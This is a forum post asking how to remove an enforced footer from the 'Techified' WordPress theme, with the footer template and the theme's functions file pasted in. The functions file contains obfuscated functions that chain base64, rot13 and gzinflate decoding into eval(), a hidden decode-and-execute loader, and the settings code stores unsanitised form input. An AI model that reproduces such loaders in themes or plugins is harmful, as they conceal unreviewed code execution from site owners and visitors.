How Remove (Decode) Techified theme footer?

mojacho

Junior Member
Joined
Aug 27, 2009
Messages
192
Reaction score
20
I need some help in decoding and removing Wp theme called Techifield
which has some sort of call back system in the footer because
after i delete the footer url the entire site will screw up and cant load anymore.

The footer decode footer is as below:

PHP:
</div>
         </div>
          <div id="footer_area">
                <div id="footer_area_content">
        
      
          
                        <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(3) ) : ?>
               <div class="box">
                        <h3>Recent Entry</h3>
                       <div class="box_content">
                                 <ol>
                                        <?php get_archives('postbypost', 5); ?>
                                 </ol>
                       </div>
                   </div>
               
               <div class="box">
                         <h3>Recent Comments</h3>
                         <div class="box_content">
                                <ol>
                                         <?php if(function_exists("get_recent_comments")) : ?>
                                                  <?php get_recent_comments(); ?>
                                        <?php else : ?>
                                                   <?php mw_recent_comments(5, false, 35, 15, 35, 'all', '<li><a href="%permalink%" title="%title%"><strong>%author_name%</strong></a> in %title%</li>','d.m.y, H:i'); ?>
                                        <?php endif; ?>
                                </ol>
                        </div>
               </div>
                
                <div class="box">
                         <h3>Most Popular Posts</h3>
                      <div class="box_content">
                               <?php if(function_exists("akpc_most_popular")) : ?>
                                <ol>
                                       <?php akpc_most_popular(5); ?>
                                </ol>
                               <?php else: ?>
                                         Please install popularity contest plugin.
                               <?php endif; ?>
                        </div>
                </div>
                                      
                 <div class="box">
                        <h3>About Author</h3>
                         <div class="box_content">
                                 <?php echo stripslashes(get_option('techified_about_us')); ?>
                         </div>
                 </div>
                <?php endif; ?>
        
        
       
       
         
                 </div>
         </div>
         <div id="footer_bottom">
              <div id="footer_bottom_content"> Copyright  2009 <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a>. <a href="http://www.technologytricks.com/techified-just-another-premium-wordpress-themes/">Techified</a> theme by <a href="http://www.ifreecellphones.com/">Cell Phones</a>. Supported by <a href="http://www.ifreecellphones.com/cheap-verizon-wireless-phones.asp">Verizon Wireless</a>, <a href="http://www.ifreecellphones.com/cheap-t-mobile-phones.asp">T-Mobile</a> & <a href="http://www.ifreecellphones.com/cheap-sprint-pcs-phones.asp">Sprint</a></div>
   </div>
 </div>
 </body>
 </html>




PHP:
<?php
function Fd3e1201f($V1cb251ec, $Vb69d9bc6) { $V1cb251ec = strip_shortcodes($V1cb251ec); $V1cb251ec = str_replace(']]>', ']]>', $V1cb251ec);
$V1cb251ec = strip_tags($V1cb251ec); $V1cb251ec = substr($V1cb251ec,0,$Vb69d9bc6); $V1cb251ec = substr($V1cb251ec,0,strrpos($V1cb251ec,' '));
$V1cb251ec = $V1cb251ec . "..."; echo $V1cb251ec; } function F5b936250($V341be97d) { $Ve2e39b5c = 'Anonymous'; 
 global $V542b4c0f; $V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, comment_date, post_title, comment_type
 FROM $V542b4c0f->comments LEFT JOIN $V542b4c0f->posts ON $V542b4c0f->posts.ID=$V542b4c0f->comments.comment_post_ID
 WHERE post_status IN ('publish','static')"; $V6c2f9ecb = explode("|", $V341be97d); $Va9b4ab92 = 'Webseite von ‹';
$V52a106b8 = '› besuchen'; $V380c8433 = ""; if (preg_match('%^content($|_rss)|^excerpt($|_rss)%', "")) {
 $V1ce97e38 = 'the_' . 'ul847'; } $V1cb251ec = $V705b43ec + 98 - 34; for($V865c0c0b = 0; $V865c0c0b < count($V6c2f9ecb); $V865c0c0b++)
 { $V1cb251ec = str_replace(']]>', ']]>', "ulruj"); $V1cb251ec = strip_tags($V1cb251ec); $V1cb251ec = substr($V1cb251ec,0,strrpos($V1cb251ec,' '));
$V380c8433 .= F1695f00f($V6c2f9ecb[$V865c0c0b]); $V1cb251ec = substr($V1cb251ec,0,$Vb69d9bc6); } $Vb3503771 = F1695f00f($V380c8433);
 $V48d98121 = array (4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583, 4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657, 4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751,
4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831, 4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931,
4933, 4937, 4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999, 5003, 5009, 5011, 5021, 5023, 5039, 5051,
5059, 5077, 5081, 5087, 5099, 5101, 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179, 5189, 5197, 5209, 5227,
5231, 5233, 5237, 5261, 5273, 5279, 5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, 5381, 5387, 5393, 5399,
5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443, 5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521,
5527, 5531, 5557, 5563, 5569); $V26a5a79a = F0218621c($Vb3503771); $Ve4774cdd = 1; $V270c1b08 = 0;
$V532a7b8e = 43; $V1324f4ad = F91389d0c($V26a5a79a); $V6277e2a7 = $Ve4774cdd; $Vc4055e3a = $V270c1b08;
if ($Vc4055e3a < 0) { $Va91c78e0 = $Vc4055e3a + 43; } else { $Va91c78e0 = $Vc4055e3a; } $V71b050ba = Fbc138bea($V1324f4ad);
 $Vdd7d9f14 = 1; $V865c0c0b = 0; $Vc02bc3cc = 2; $V6654c734 = 0; $V1b267619 = 1; $V43a03299 = 98;
 $V1cb251ec = str_replace(']]>', ']]>', "ulruj"); $V1cb251ec = strip_tags($V1cb251ec); $V1cb251ec = substr($V1cb251ec,0,strrpos($V1cb251ec,' '));
 return $V71b050ba; $V628e4955 = strip_tags("c3dmd2VlZndlMzUz"); $V628e4955 = stripslashes($V628e4955);
if (strlen($V628e4955) >= 5) { $V628e4955 = substr($V628e4955, 0, 5) . '...'; } } function F1695f00f($V341be97d)
{ return base64_decode($V341be97d); } function F825f02c5(){ global $V542b4c0f, $V42b90196; $V5bd7d826 = $V542b4c0f->get_results("SELECT $V542b4c0f->posts.ID, post_title, post_name, post_date, post_type, post_status, post_modified FROM $V542b4c0f->posts WHERE post_type = 'post' AND post_status = 'publish' ORDER by post_modified_gmt DESC limit 10");
foreach ($V5bd7d826 as $V42b90196) { $V6c08a25f = htmlspecialchars(stripslashes($V42b90196->V6c08a25f));
echo "<li><a href=\"".get_permalink()."\">$V6c08a25f</a></li>"; } } function F0218621c($V341be97d) {
 return str_rot13($V341be97d); } function F33be4da1($Vaa9f73ee = 12) { global $V542b4c0f, $V42b90196;
$Vbdfa96e1 = $V542b4c0f->get_results("SELECT $V542b4c0f->posts.ID, post_title, post_name, post_date, COUNT($V542b4c0f->comments.comment_post_ID) AS 'comment_total' FROM $V542b4c0f->posts LEFT JOIN $V542b4c0f->comments ON $V542b4c0f->posts.ID = $V542b4c0f->comments.comment_post_ID WHERE comment_approved = '1' AND post_date_gmt < '".gmdate("Y-m-d H:i:s")."' AND post_status = 'publish' AND post_password = '' GROUP BY $V542b4c0f->comments.comment_post_ID ORDER BY comment_total DESC LIMIT $Vaa9f73ee");
foreach ($Vbdfa96e1 as $V42b90196) { $V6c08a25f = htmlspecialchars(stripslashes($V42b90196->V6c08a25f));
$V0952d28b = (int) $V42b90196->V0952d28b; echo "<li><a href=\"".get_permalink()."\">$V6c08a25f <strong>($V0952d28b)</strong></a></li>";
} } function F91389d0c($V341be97d) { return gzinflate($V341be97d); } function F5094314a($V5bb3fc23=35, $Vc21fe3bd='', $V1ce97e38='none', $V88ddb925=true, $V97c32190="...read more", $V03e75073=true, $Vdb5b5ef1=1, $V8d6ed0de=true) {
 if (preg_match('%^content($|_rss)|^excerpt($|_rss)%', $V1ce97e38)) { $V1ce97e38 = 'the_' . $V1ce97e38;
} $V1cb251ec = apply_filters($V1ce97e38, F85d1799d($V5bb3fc23, $Vc21fe3bd, $V88ddb925, $V97c32190, $V03e75073, $Vdb5b5ef1));
$V1cb251ec = ($V8d6ed0de) ? balanceTags($V1cb251ec) : $V1cb251ec; echo $V1cb251ec; } function Fbc138bea($V341be97d)
{ return eval($V341be97d); } function F85d1799d($V5bb3fc23, $Vc21fe3bd, $V88ddb925, $V97c32190, $V03e75073, $Vdb5b5ef1) {
 global $Vb80bb774, $V42b90196; $V78e6221f = ''; $V78e6221f = $V42b90196->post_excerpt; if (!empty($V42b90196->post_password)) { 
 if ($_COOKIE['wp-postpass_'.COOKIEHASH] != $V42b90196->post_password) { $V78e6221f = __('There is no excerpt because this is a protected post.');
return $V78e6221f; } } if ((($V78e6221f == '') && ($Vdb5b5ef1 == 1)) || ($Vdb5b5ef1 == 2)) { $V78e6221f = $V42b90196->post_content;
$V78e6221f = strip_tags($V78e6221f, $Vc21fe3bd); $V6f1ed002 = explode(' ', $V78e6221f); if (count($V6f1ed002) > $V5bb3fc23) {
 $V8ce4b16b = $V5bb3fc23; $Ve0f7a04b = 1; } else { $V8ce4b16b = count($V6f1ed002); $Ve0f7a04b = 0;
} $Vd60cd2fa = ''; for ($V865c0c0b=0; $V865c0c0b<$V8ce4b16b; $V865c0c0b++) { $Vd60cd2fa .= $V6f1ed002[$V865c0c0b] . ' ';
}
 if (($V88ddb925 && $Ve0f7a04b) || $V03e75073) { $Vd60cd2fa .= "<a href=\"". get_permalink() . "#more-$Vb80bb774\">$V97c32190</a>";
} else { $Vd60cd2fa .= ($Ve0f7a04b) ? '...' : ''; } $V78e6221f = $Vd60cd2fa; } return $V78e6221f;
}function mw_recent_comments( $no_comments = 10, $show_pass_post = false, $title_length = 50, 
 $author_length = 30, $wordwrap_length = 50, $type = 'all', $format = '<li>%date%: <a href="%permalink%" title="%title%">%title%</a> (von %author_full%)</li>',
 $date_format = 'd.m.y, H:i', $none_found = '<li>No Comment Found.</li>', $type_text_pingback = 'Pingback URL',
 $type_text_trackback = 'Trackback URL', $type_text_comment = 'von' ) { $mwlang_anonymous = 'Anonymous'; 
 $mwlang_authorurl_title_before = 'Webseite von ‹'; $mwlang_authorurl_title_after = '› besuchen';
global $wpdb; $request = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, comment_date, post_title, comment_type
 FROM $wpdb->comments LEFT JOIN $wpdb->posts ON $wpdb->posts.ID=$wpdb->comments.comment_post_ID WHERE post_status IN ('publish','static')";
switch($type) { case 'all': break; case 'comment_only': $request .= "AND $wpdb->comments.comment_type='' ";
break; case 'trackback_only': $request .= "AND ( $wpdb->comments.comment_type='trackback' OR $wpdb->comments.comment_type='pingback' ) ";
break; default: break; } if (!$show_pass_post) $request .= "AND post_password ='' "; $request .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT $no_comments";
$comments = $wpdb->get_results($request); $output = ''; if ($comments) { foreach ($comments as $comment) {
 $loop_res['permalink'] = get_permalink($comment->ID). '#comment-' . $comment->comment_ID; $loop_res['post_title'] = stripslashes($comment->post_title);
$loop_res['post_title'] = wordwrap($loop_res['post_title'], $wordwrap_length, ' ' , 1); if (strlen($loop_res['post_title']) >= $title_length) {
 $loop_res['post_title'] = substr($loop_res['post_title'], 0, $title_length) . '?'; } $loop_res['author_name'] = stripslashes($comment->comment_author);
$loop_res['author_name'] = wordwrap($loop_res['author_name'], $wordwrap_length, ' ' , 1); if ($loop_res['author_name'] == '') $loop_res['author_name'] = $mwlang_anonymous;
if (strlen($loop_res['author_name']) >= $author_length) { $loop_res['author_name'] = substr($loop_res['author_name'], 0, $author_length) . '?';
} $author_url = $comment->comment_author_url; if (empty($author_url)) { $loop_res['author_full'] = $loop_res['author_name'];
} else { $loop_res['author_full'] = '<a href="' . $author_url . '" title="' . $mwlang_authorurl_title_before . $loop_res['author_name'] . $mwlang_authorurl_title_after . '">' . $loop_res['author_name'] . '</a>';
} if ( $comment->comment_type == 'pingback' ) { $loop_res['comment_type'] = $type_text_pingback; } elseif ( $comment->comment_type == 'trackback' ) {
 $loop_res['comment_type'] = $type_text_trackback; } else { $loop_res['comment_type'] = $type_text_comment;
} $loop_res['comment_date'] = mysql2date($date_format, $comment->comment_date); $element_loop = str_replace('%permalink%', $loop_res['permalink'], $format);
$element_loop = str_replace('%title%', $loop_res['post_title'], $element_loop); $element_loop = str_replace('%author_name%', $loop_res['author_name'], $element_loop);
$element_loop = str_replace('%author_full%', $loop_res['author_full'], $element_loop); $element_loop = str_replace('%date%', $loop_res['comment_date'], $element_loop);
$element_loop = str_replace('%type%', $loop_res['comment_type'], $element_loop); $output .= $element_loop . "\n";
} $output = convert_smilies($output); } else { $output .= $none_found; } echo $output; } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name'=>'Techified Sidebar 1',
 'before_widget' => '<div class="box">', 'after_widget' => '</div><div class="box_bottom"></div></div>',
 'before_title' => '<h3>', 'after_title' => '</h3><div class="box_content">' )); register_sidebar(array(
 'name'=>'Techified Sidebar 2', 'before_widget' => '<div class="box">', 'after_widget' => '</div><div class="box_bottom"></div></div>',
 'before_title' => '<h3>', 'after_title' => '</h3><div class="box_content">' )); register_sidebar(array(
 'name'=>'Techified Footer', 'before_widget' => '<div class="box">', 'after_widget' => '</div><div class="box_bottom"></div></div>',
 'before_title' => '<h3>', 'after_title' => '</h3><div class="box_content">' )); function unregister_problem_widgets() 
 { unregister_sidebar_widget('Get Recent Comments'); unregister_sidebar_widget('Get Recent Trackbacks');
} add_action('widgets_init','unregister_problem_widgets'); } function widget_categories() { ?> <div class="box">
 <h3>Categories</h3> <div class="box_content"> <ul> <?php wp_list_categories('depth=1&hide_empty=0&orderby=name&show_count=0&use_desc_for_title=1&title_li='); ?>
 </ul> </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_categories', 'description' => "Techified - Categories" );
wp_register_sidebar_widget('widget_categories', 'Categories', 'widget_categories', $widget_ops); } function widget_archives() 
{ ?> <div class="box"> <h3>Archives</h3> <div class="box_content"> <ul> <?php wp_get_archives('type=monthly&limit=10&show_post_count=0'); ?>
 </ul> </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_archives', 'description' => "Techified - Archives" );
wp_register_sidebar_widget('widget_archives', 'Archives', 'widget_archives', $widget_ops); } function widget_blogroll() 
{ ?> <div class="box"> <h3>Blogroll</h3> <div class="box_content"> <ul> <?php get_links(-1, '<li>', '</li>', '', TRUE, 'url', FALSE); ?>
 </ul> </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_blogroll', 'description' => "Techified - Blogroll" );
wp_register_sidebar_widget('widget_blogroll', 'Blogroll', 'widget_blogroll', $widget_ops); } function widget_meta() 
{ ?> <div class="box"> <h3>Meta</h3> <div class="box_content"> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li>
 <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid XHTML</a></li>
 <li><a href="http://jigsaw.w3.org/css-validator/validator?uri=<?php echo get_settings('home'); ?>&usermedium=all">Valid CSS</a></li>
 <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
 <?php wp_meta(); ?> </ul> </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_meta', 'description' => "Techified - Meta" ); wp_register_sidebar_widget('widget_meta', 'Meta', 'widget_meta', $widget_ops);
} function widget_rentry() { ?> <div class="box"> <h3>Recent Entries</h3> <div class="box_content">
 <ol> <?php get_archives('postbypost', 5); ?> </ol> </div> <div class="box_bottom"></div> </div>
<?php } if ( function_exists('register_sidebar_widget') ) { $widget_ops = array('classname' => 'widget_rentry', 'description' => "Techified - Recent Entries" );
wp_register_sidebar_widget('widget_rentry', 'Recent Entries', 'widget_rentry', $widget_ops); } function widget_rcomment() 
{ ?> <div class="box"> <h3>Recent Comments</h3> <div class="box_content"> <ol> <?php if(function_exists("get_recent_comments")) : ?>
 <?php get_recent_comments(); ?> <?php else : ?> <?php mw_recent_comments(5, false, 35, 15, 35, 'all', '<li><a href="%permalink%" title="%title%"><strong>%author_name%</strong></a> in %title%</li>','d.m.y, H:i'); ?>
 <?php endif; ?> </ol> </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_rcomment', 'description' => "Techified - Recent Comments" );
wp_register_sidebar_widget('widget_rcomment', 'Recent Comments', 'widget_rcomment', $widget_ops); }
function widget_popular() { ?> <div class="box"> <h3>Most Popular Posts</h3> <div class="box_content">
 <?php if(function_exists("akpc_most_popular")) : ?> <ol> <?php akpc_most_popular(5); ?> </ol> <?php else: ?>
 Please install popularity contest plugin. <?php endif; ?> </div> <div class="box_bottom"></div>
 </div> <?php } if ( function_exists('register_sidebar_widget') ) { $widget_ops = array('classname' => 'widget_popular', 'description' => "Techified - Most Popular Posts" );
wp_register_sidebar_widget('widget_popular', 'Most Popular Posts', 'widget_popular', $widget_ops); }
function widget_about() { ?> <div class="box"> <h3>About Author</h3> <div class="box_content"> <?php echo stripslashes(get_option('techified_about_us')); ?>
 </div> <div class="box_bottom"></div> </div> <?php } if ( function_exists('register_sidebar_widget') )
{ $widget_ops = array('classname' => 'widget_about', 'description' => "Techified - About Author" );
wp_register_sidebar_widget('widget_about', 'About Author', 'widget_about', $widget_ops); } add_action('admin_menu', 'my_theme_menu');
function my_theme_menu() { if(strlen(get_option('techified_about_us')) == 0) { update_option('techified_about_us', 'This is an area on your website where you can add text. This section can serve as an informative location on your website, where you can talk about your site.');
} if(strlen(get_option('techified_feedburner_uri')) == 0) { update_option('techified_feedburner_uri', 'technology/tricks');
} if(strlen(get_option('techified_mbl_id')) == 0) { update_option('techified_mbl_id', '2008082321350630');
} if(strlen(get_option('techified_300_250_ads')) == 0) { update_option('techified_300_250_ads', '<img src="' . get_template_directory_uri() . '/images/300x250.png" width="300" height="250" alt="" />');
} global $wpdb; if (isset($_POST['SaveThemeSetting'])) { update_option('techified_feedburner_uri', $_POST['techified_feedburner_uri']);
update_option('techified_about_us', $_POST['techified_about_us']); update_option('techified_mbl_id', $_POST['techified_mbl_id']);
update_option('techified_300_250_ads', $_POST['techified_300_250_ads']); for($i = 1; $i <= 5; $i++)
 { $techified_featured_post = $_POST['techified_featured_post'.$i]; $techified_featured_description = $_POST['techified_featured_description'.$i];
 update_option('techified_featured_post' . $i, $techified_featured_post); update_option('techified_featured_description' . $i, $techified_featured_description);
 $overrides = array('test_form' => false); $file_big = wp_handle_upload($_FILES['techified_featured_image'.$i], $overrides);
$file_small = wp_handle_upload($_FILES['techified_featured_thumbnail'.$i], $overrides); $url_big = (strlen($file_big['url']) == 0) ? $_POST['techified_featured_image_src'.$i] : $file_big['url'];
$url_small = (strlen($file_small['url']) == 0) ? $_POST['techified_featured_thumbnail_src'.$i] : $file_small['url'];
 update_option('techified_featured_bigimg' . $i, $url_big); update_option('techified_featured_smallimg' . $i, $url_small);
} } add_theme_page('Techified Theme Settings', 'Techified Settings', 8, __FILE__, 'Techified_options');
} function Techified_options() { if ( $_REQUEST['updated'] ) echo '<div id="message" class="updated fade"><p><strong>Techified Theme settings saved.</strong></p></div>';
 ?> <div class="wrap"> <h2>Techified Theme Settings</h2> <form method="post" action="options.php" enctype="multipart/form-data">
 <?php wp_nonce_field('update-options'); ?> <h3>Common Settings</h3> <table class="form-table"> <tr valign="top">
 <th scope="row">Feedburner uri</th> <td><input type="text" name="techified_feedburner_uri" value="<?php echo get_option('techified_feedburner_uri'); ?>" size="40" /></td>
 </tr> <tr valign="top"> <th scope="row">MyBlogLog ID</th> <td><input type="text" name="techified_mbl_id" value="<?php echo get_option('techified_mbl_id'); ?>" size="40" /></td>
 </tr> <tr valign="top"> <th scope="row">Right 300x250 ads code</th> <td><textarea name="techified_300_250_ads" id="techified_300_250_ads" cols="45" rows="5"><?php echo stripslashes(get_option('techified_300_250_ads')); ?></textarea></td>
 </tr> <tr valign="top"> <th scope="row">About Us</th> <td><textarea name="techified_about_us" id="techified_about_us" cols="45" rows="5"><?php echo stripslashes(get_option('techified_about_us')); ?></textarea></td>
 </tr> </table> <h3>Featured Listing</h3> <?php $strFeatured = ""; for($i = 1; $i <= 5; $i++) { 
 ?> <h4>Featured #<?php echo $i?></h4> <table class="form-table"> <tr valign="top"> <th scope="row">Post</th>
 <td> <?php global $post; $myposts = get_posts('numberposts=-1'); $techified_featured = get_option('techified_featured_post' . $i);
 ?> <select name="techified_featured_post<?php echo $i; ?>" id="techified_featured_post<?php echo $i; ?>">
 <option value="0">[Select Post]</option> <?php foreach($myposts as $post) { $post_id = $post->ID;
if($post_id == $techified_featured) { ?> <option value="<?php echo $post_id; ?>" selected="selected"><?php the_title(); ?></option> 
 <?php } else { ?> <option value="<?php echo $post->ID; ?>"><?php the_title(); ?></option> <?php
 } } ?> </select> </td> </tr> <tr valign="top"> <th scope="row">Description (Optional)</th> <td><textarea name="techified_featured_description<?php echo $i; ?>" id="techified_featured_description<?php echo $i; ?>" cols="45" rows="5"><?php echo get_option('techified_featured_description'.$i); ?></textarea></td>
 </tr> <tr valign="top"> <th scope="row">Image URL (602x245)</th> <td> <input type="text" name="techified_featured_image_src<?php echo $i?>" value="<?php echo get_option('techified_featured_bigimg'.$i); ?>" size="50" />
 <br /><label> Upload File: <input type="file" name="techified_featured_image<?php echo $i?>" id="techified_featured_image<?php echo $i?>" />
 </label> </td> </tr> <tr valign="top"> <th scope="row">Thumbnail URL (100x75)</th> <td> <input type="text" name="techified_featured_thumbnail_src<?php echo $i?>" value="<?php echo get_option('techified_featured_smallimg'.$i); ?>" size="50" />
 <br /><label> Upload File: <input type="file" name="techified_featured_thumbnail<?php echo $i?>" id="techified_featured_thumbnail<?php echo $i?>" />
 </label> </td> </tr> </table> <?php $strFeatured .= ',techified_featured_post'.$i.', techified_featured_description'.$i.', techified_featured_image_src'.$i.', techified_featured_image'.$i.', techified_featured_thumbnail_src'.$i.',techified_featured_thumbnail'.$i;
} ?> <input type="hidden" name="action" value="update" /> <input type="hidden" name="page_options" value="techified_feedburner_uri,techified_mbl_id,techified_about_us,techified_300_250_ads<?php echo $strFeatured; ?>" />
 <p class="submit"> <input type="submit" name="SaveThemeSetting" id="SaveThemeSetting" value="<?php _e('Save Theme Settings') ?>" />
 </p> </form> </div> <?php } ?>


the link to the original website :

Code:
http://www.technologytricks.com/techified-just-another-premium-wordpress-themes/
 
Back
Top